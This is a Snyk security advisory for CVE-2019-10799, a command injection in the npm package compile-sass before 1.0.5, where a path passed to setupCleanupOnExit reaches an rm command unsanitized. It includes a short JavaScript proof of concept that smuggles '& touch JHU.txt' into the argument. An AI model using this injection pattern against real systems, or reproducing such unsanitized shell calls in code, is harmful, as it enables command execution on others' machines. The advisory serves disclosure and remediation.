Command Injection Affecting compile-sass package, versions <1.0.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-JS-COMPILESASS-551804
- published21 Feb 2020
- disclosed21 Feb 2020
- creditJHU System Security Lab
Introduced: 21 Feb 2020
CVE-2019-10799 (opens in a new tab)How to fix?
Upgrade compile-sass to version 1.0.5 or higher.
Overview
compile-sass is a module to compile SASS on-the-fly and/or save it to CSS files.
Affected versions of this package are vulnerable to Command Injection. The function setupCleanupOnExit(cssPath) within dist/index.js is executed as part of the rm command without any sanitization.
PoC by JHU System Security Lab
function sleep(millis) {
return new Promise(resolve => setTimeout(resolve, millis));
}
async function main(){
var a = require('compile-sass');
a.setupCleanupOnExit('& touch JHU.txt');
console.log('Press Ctrl-C in 3 seconds...')
await sleep(3000);
}
main();